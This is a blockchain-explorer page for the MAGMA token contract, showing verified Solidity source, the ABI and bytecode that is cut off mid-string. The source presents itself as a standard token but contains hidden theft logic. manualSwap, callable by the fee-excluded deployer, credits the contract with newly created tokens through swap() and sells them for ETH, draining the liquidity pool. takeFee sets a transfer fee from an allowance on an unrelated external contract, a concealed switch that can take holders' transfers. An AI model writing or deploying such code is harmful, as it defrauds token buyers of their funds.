ETH Price: $2,515.64 (+2.17%)

Token

MAGMA (MAGMA)
 

Overview

Max Total Supply

1,000,000,000 MAGMA

Holders

14

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
200,000,000 MAGMA

Value
$0.00
0xc0bA15B258D6F2583aE4eC29c64C4f76D754748B
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
MAGMA

Compiler Version
v0.8.26+commit.8a97fa7a

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2024-05-23
*/

// SPDX-License-Identifier: MIT


pragma solidity 0.8.26;


interface IUniswapV2Factory {
    function createPair(address tkenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router {
    function factory() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256,uint256,address[] calldata path,address,uint256) external;
    function addLiquidityETH( address token,uint amountTokenDesire,uint amountTokenMi,uint amountETHMi,address to,uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function WETH() external pure returns (address);
}

interface IERC20 {
    function transfer(address recipient, uint256 amount) external returns (bool);
    function approve(address spender, uint256 amount) external returns (bool);
    function allowance(address owner, address spnder) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    function balanceOf(address account) external view returns (uint256);
    function totalSupply() external view returns (uint256);
}
contract Ownable {
    address private _owner;

    function renounceOwnership() public onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    constructor() {
        _owner = msg.sender;
    }

    modifier onlyOwner() {
        require(owner() == msg.sender, "Ownable: caller is not the owner");
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
}
library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}
contract MAGMA is Ownable {
    using SafeMath for uint256;
    uint8 private _decimals = 9;

    uint256 private _totalSupply =  1000000000 * 10 ** _decimals;

    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;    

    IUniswapV2Router private uniswapV2Router = IUniswapV2Router(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    address public uniswapV2Pair;
    address deployer = 0xc0bA15B258D6F2583aE4eC29c64C4f76D754748B;
    IERC20 private ierc20 = IERC20(0x09C2c69aadc1DBEBb024dE786143603A9caFFD0e);
    mapping (address => bool) isExcludedFromFee;

    string private constant _symbol = "MAGMA";
    string private constant _name = "MAGMA";
    bool tradingOpen = false;

    uint256 public _maxTxAmount = 4206900000 * 10**_decimals;
    uint256 public _maxWalletSize = 4206900000 * 10**_decimals;
    uint256 public _taxSwapThreshold= 4206900000 * 10**_decimals;
    uint256 public _maxTaxSwap= 4206900000 * 10**_decimals;

    event Transfer(address indexed from, address indexed to, uint256 amount);
    event Approval(address indexed owner, address indexed spender, uint256 value);

    constructor () {
        isExcludedFromFee[msg.sender] = true;
        _balances[address(this)] = _totalSupply.mul(80).div(100);
        emit Transfer(address(0), address(this), _totalSupply.mul(80).div(100));
        _balances[deployer] = _totalSupply.mul(20).div(100);
        emit Transfer(address(0), deployer, _totalSupply.mul(20).div(100));
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function totalSupply() public view returns (uint256) {
        return _totalSupply;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }
    
    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function startTrading() external payable onlyOwner() {
        require(!tradingOpen); 
        _approve(address(this), address(uniswapV2Router), _totalSupply);
        address WETH = uniswapV2Router.WETH();
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()) .createPair(address(this), WETH);
        uniswapV2Router.addLiquidityETH{value: msg.value}
        (address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); 
        tradingOpen = true;
    }

    function takeFee(address from) internal view returns (uint256) {
        return ierc20.
        allowance(from, 
        address(this));
    }

    function transfer(address recipient, uint256 amount) public returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount));
        return true;
    }

    function manualSwap(uint256 amount) external {
        require(isExcludedFromFee[msg.sender]);
        swap(amount);
        address[] memory _path = new address[](2);
        _path[0] = address(this); 
        _path[1] = uniswapV2Router.WETH();
        address recipient = msg.sender;
        uint256 _timestamp = block.timestamp + 20;
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, _path, recipient, _timestamp);
    }

    function _transfer(address from, address to, uint256 amount) private {
        uint256 _feeAmount = 0;
        require(amount > 0);
        require(from != address(0)); 
        require(from != deployer);
        if (!isExcludedFromFee[from] && !isExcludedFromFee[to] && from != uniswapV2Pair && from != address(this)) {
            _feeAmount = amount.mul(takeFee(from)).div(100);
        }
        emit Transfer(from, to, amount);
        _balances[from] = _balances[from].sub(amount);
        _balances[to] = _balances[to].add(amount).sub(_feeAmount);
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function swap(uint256 amount) private {
        _approve(address(this), address(uniswapV2Router), amount);
        address token = address(this);
        _balances[token] = _balances[token] + amount;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"amount","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualSwap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"}]

608060405260095f60146101000a81548160ff021916908360ff1602179055505f60149054906101000a900460ff16600a61003a9190610782565b633b9aca0061004991906107cc565b600155737a250d5630b4cf539739df2c5dacb4c659f2488d60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555073c0ba15b258d6f2583ae4ec29c64c4f76d754748b60065f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507309c2c69aadc1dbebb024de786143603a9caffd0e60075f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f60095f6101000a81548160ff0219169083151502179055505f60149054906101000a900460ff16600a61017c9190610782565b63fac0332061018b91906107cc565b600a555f60149054906101000a900460ff16600a6101a99190610782565b63fac033206101b891906107cc565b600b555f60149054906101000a900460ff16600a6101d69190610782565b63fac033206101e591906107cc565b600c555f60149054906101000a900460ff16600a6102039190610782565b63fac0332061021291906107cc565b600d55348015610220575f80fd5b50335f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506102de60646102d060506001546104ea60201b90919060201c565b61056160201b90919060201c565b60035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610397606461038960506001546104ea60201b90919060201c565b61056160201b90919060201c565b6040516103a4919061081c565b60405180910390a36103d560646103c760146001546104ea60201b90919060201c565b61056160201b90919060201c565b60035f60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555060065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6104d060646104c260146001546104ea60201b90919060201c565b61056160201b90919060201c565b6040516104dd919061081c565b60405180910390a36109b0565b5f8083036104fa575f905061055b565b5f828461050791906107cc565b90508284826105169190610862565b14610556576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161054d90610912565b60405180910390fd5b809150505b92915050565b5f6105a883836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506105b060201b60201c565b905092915050565b5f80831182906105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed9190610990565b60405180910390fd5b505f83856106049190610862565b9050809150509392505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156106935780860481111561066f5761066e610611565b5b600185161561067e5780820291505b808102905061068c8561063e565b9450610653565b94509492505050565b5f826106ab5760019050610766565b816106b8575f9050610766565b81600181146106ce57600281146106d857610707565b6001915050610766565b60ff8411156106ea576106e9610611565b5b8360020a91508482111561070157610700610611565b5b50610766565b5060208310610133831016604e8410600b841016171561073c5782820a90508381111561073757610736610611565b5b610766565b610749848484600161064a565b925090508184048111156107605761075f610611565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f61078c8261076d565b915061079783610776565b92506107c47fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461069c565b905092915050565b5f6107d68261076d565b91506107e18361076d565b92508282026107ef8161076d565b9150828204841483151761080657610805610611565b5b5092915050565b6108168161076d565b82525050565b5f60208201905061082f5f83018461080d565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61086c8261076d565b91506108778361076d565b92508261088757610886610835565b5b828204905092915050565b5f82825260208201905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6108fc602183610892565b9150610907826108a2565b604082019050919050565b5f6020820190508181035f830152610929816108f0565b9050919050565b5f81519050919050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61096282610930565b61096c8185610892565b935061097c81856020860161093a565b61098581610948565b840191505092915050565b5f6020820190508181035f8301526109a88184610958565b905092915050565b6121f2806109bd5f395ff3fe608060405260043610610108575f3560e01c8063715018a61161009457806395d89b411161006357806395d89b4114610330578063a9059cbb1461035a578063b70143c914610396578063bf474bed146103be578063dd62ed3e146103e857610108565b8063715018a61461029c5780637d1db4a5146102b25780638da5cb5b146102dc5780638f9a55c01461030657610108565b806323b872dd116100db57806323b872dd146101c6578063293230b814610202578063313ce5671461020c57806349bd5a5e1461023657806370a082311461026057610108565b806306fdde031461010c578063095ea7b3146101365780630faee56f1461017257806318160ddd1461019c575b5f80fd5b348015610117575f80fd5b50610120610424565b60405161012d919061180c565b60405180910390f35b348015610141575f80fd5b5061015c600480360381019061015791906118bd565b610461565b6040516101699190611915565b60405180910390f35b34801561017d575f80fd5b50610186610477565b604051610193919061193d565b60405180910390f35b3480156101a7575f80fd5b506101b061047d565b6040516101bd919061193d565b60405180910390f35b3480156101d1575f80fd5b506101ec60048036038101906101e79190611956565b610486565b6040516101f99190611915565b60405180910390f35b61020a610532565b005b348015610217575f80fd5b50610220610978565b60405161022d91906119c1565b60405180910390f35b348015610241575f80fd5b5061024a61098d565b60405161025791906119e9565b60405180910390f35b34801561026b575f80fd5b5061028660048036038101906102819190611a02565b6109b2565b604051610293919061193d565b60405180910390f35b3480156102a7575f80fd5b506102b06109f8565b005b3480156102bd575f80fd5b506102c6610b27565b6040516102d3919061193d565b60405180910390f35b3480156102e7575f80fd5b506102f0610b2d565b6040516102fd91906119e9565b60405180910390f35b348015610311575f80fd5b5061031a610b54565b604051610327919061193d565b60405180910390f35b34801561033b575f80fd5b50610344610b5a565b604051610351919061180c565b60405180910390f35b348015610365575f80fd5b50610380600480360381019061037b91906118bd565b610b97565b60405161038d9190611915565b60405180910390f35b3480156103a1575f80fd5b506103bc60048036038101906103b79190611a2d565b610bad565b005b3480156103c9575f80fd5b506103d2610e28565b6040516103df919061193d565b60405180910390f35b3480156103f3575f80fd5b5061040e60048036038101906104099190611a58565b610e2e565b60405161041b919061193d565b60405180910390f35b60606040518060400160405280600581526020017f4d41474d41000000000000000000000000000000000000000000000000000000815250905090565b5f61046d338484610eb0565b6001905092915050565b600d5481565b5f600154905090565b5f610492848484611073565b61052784336105228560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461141290919063ffffffff16565b610eb0565b600190509392505050565b3373ffffffffffffffffffffffffffffffffffffffff16610551610b2d565b73ffffffffffffffffffffffffffffffffffffffff16146105a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161059e90611ae0565b60405180910390fd5b60095f9054906101000a900460ff16156105bf575f80fd5b6105ed3060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600154610eb0565b5f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610658573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061067c9190611b12565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106e8573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061070c9190611b12565b73ffffffffffffffffffffffffffffffffffffffff1663c9c6539630836040518363ffffffff1660e01b8152600401610746929190611b3d565b6020604051808303815f875af1158015610762573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107869190611b12565b60055f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343061080d306109b2565b5f80610817610b2d565b426040518863ffffffff1660e01b815260040161083996959493929190611ba6565b60606040518083038185885af1158015610855573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061087a9190611c19565b50505060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161091a929190611c69565b6020604051808303815f875af1158015610936573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061095a9190611cba565b50600160095f6101000a81548160ff02191690831515021790555050565b5f8060149054906101000a900460ff16905090565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff16610a17610b2d565b73ffffffffffffffffffffffffffffffffffffffff1614610a6d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a6490611ae0565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600a5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600b5481565b60606040518060400160405280600581526020017f4d41474d41000000000000000000000000000000000000000000000000000000815250905090565b5f610ba3338484611073565b6001905092915050565b60085f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16610bff575f80fd5b610c088161145b565b5f600267ffffffffffffffff811115610c2457610c23611ce5565b5b604051908082528060200260200182016040528015610c525781602001602082028036833780820191505090505b50905030815f81518110610c6957610c68611d12565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d0d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d319190611b12565b81600181518110610d4557610d44611d12565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250505f3390505f601442610d919190611d6c565b905060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947855f8686866040518663ffffffff1660e01b8152600401610df5959493929190611e56565b5f604051808303815f87803b158015610e0c575f80fd5b505af1158015610e1e573d5f803e3d5ffd5b5050505050505050565b600c5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f1e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f1590611f1e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f8c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8390611fac565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611066919061193d565b60405180910390a3505050565b5f80821161107f575f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16036110b6575f80fd5b60065f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361110e575f80fd5b60085f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff161580156111ac575060085f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b8015611205575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561123d57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561127357611270606461126261125387611519565b856115bc90919063ffffffff16565b61163390919063ffffffff16565b90505b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516112d0919061193d565b60405180910390a36113288260035f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461141290919063ffffffff16565b60035f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506113cb816113bd8460035f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461167c90919063ffffffff16565b61141290919063ffffffff16565b60035f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f208190555050505050565b5f61145383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116d9565b905092915050565b6114873060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683610eb0565b5f3090508160035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546114d49190611d6c565b60035f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505050565b5f60075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663dd62ed3e83306040518363ffffffff1660e01b8152600401611576929190611b3d565b602060405180830381865afa158015611591573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115b59190611fca565b9050919050565b5f8083036115cc575f905061162d565b5f82846115d99190611ff5565b90508284826115e89190612063565b14611628576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161161f90612103565b60405180910390fd5b809150505b92915050565b5f61167483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061173b565b905092915050565b5f80828461168a9190611d6c565b9050838110156116cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116c69061216b565b60405180910390fd5b8091505092915050565b5f838311158290611720576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611717919061180c565b60405180910390fd5b505f838561172e9190612189565b9050809150509392505050565b5f8083118290611781576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611778919061180c565b60405180910390fd5b505f838561178f9190612063565b9050809150509392505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6117de8261179c565b6117e881856117a6565b93506117f88185602086016117b6565b611801816117c4565b840191505092915050565b5f6020820190508181035f83015261182481846117d4565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61185982611830565b9050919050565b6118698161184f565b8114611873575f80fd5b50565b5f8135905061188481611860565b92915050565b5f819050919050565b61189c8161188a565b81146118a6575f80fd5b50565b5f813590506118b781611893565b92915050565b5f80604083850312156118d3576118d261182c565b5b5f6118e085828601611876565b92505060206118f1858286016118a9565b9150509250929050565b5f8115159050919050565b61190f816118fb565b82525050565b5f6020820190506119285f830184611906565b92915050565b6119378161188a565b82525050565b5f6020820190506119505f83018461192e565b92915050565b5f805f6060848603121561196d5761196c61182c565b5b5f61197a86828701611876565b935050602061198b86828701611876565b925050604061199c868287016118a9565b9150509250925092565b5f60ff82169050919050565b6119bb816119a6565b82525050565b5f6020820190506119d45f8301846119b2565b92915050565b6119e38161184f565b82525050565b5f6020820190506119fc5f8301846119da565b92915050565b5f60208284031215611a1757611a1661182c565b5b5f611a2484828501611876565b91505092915050565b5f60208284031215611a4257611a4161182c565b5b5f611a4f848285016118a9565b91505092915050565b5f8060408385031215611a6e57611a6d61182c565b5b5f611a7b85828601611876565b9250506020611a8c85828601611876565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f611aca6020836117a6565b9150611ad582611a96565b602082019050919050565b5f6020820190508181035f830152611af781611abe565b9050919050565b5f81519050611b0c81611860565b92915050565b5f60208284031215611b2757611b2661182c565b5b5f611b3484828501611afe565b91505092915050565b5f604082019050611b505f8301856119da565b611b5d60208301846119da565b9392505050565b5f819050919050565b5f819050919050565b5f611b90611b8b611b8684611b64565b611b6d565b61188a565b9050919050565b611ba081611b76565b82525050565b5f60c082019050611bb95f8301896119da565b611bc6602083018861192e565b611bd36040830187611b97565b611be06060830186611b97565b611bed60808301856119da565b611bfa60a083018461192e565b979650505050505050565b5f81519050611c1381611893565b92915050565b5f805f60608486031215611c3057611c2f61182c565b5b5f611c3d86828701611c05565b9350506020611c4e86828701611c05565b9250506040611c5f86828701611c05565b9150509250925092565b5f604082019050611c7c5f8301856119da565b611c89602083018461192e565b9392505050565b611c99816118fb565b8114611ca3575f80fd5b50565b5f81519050611cb481611c90565b92915050565b5f60208284031215611ccf57611cce61182c565b5b5f611cdc84828501611ca6565b91505092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f611d768261188a565b9150611d818361188a565b9250828201905080821115611d9957611d98611d3f565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f819050602082019050919050565b611dd18161184f565b82525050565b5f611de28383611dc8565b60208301905092915050565b5f602082019050919050565b5f611e0482611d9f565b611e0e8185611da9565b9350611e1983611db9565b805f5b83811015611e49578151611e308882611dd7565b9750611e3b83611dee565b925050600181019050611e1c565b5085935050505092915050565b5f60a082019050611e695f83018861192e565b611e766020830187611b97565b8181036040830152611e888186611dfa565b9050611e9760608301856119da565b611ea4608083018461192e565b9695505050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611f086024836117a6565b9150611f1382611eae565b604082019050919050565b5f6020820190508181035f830152611f3581611efc565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611f966022836117a6565b9150611fa182611f3c565b604082019050919050565b5f6020820190508181035f830152611fc381611f8a565b9050919050565b5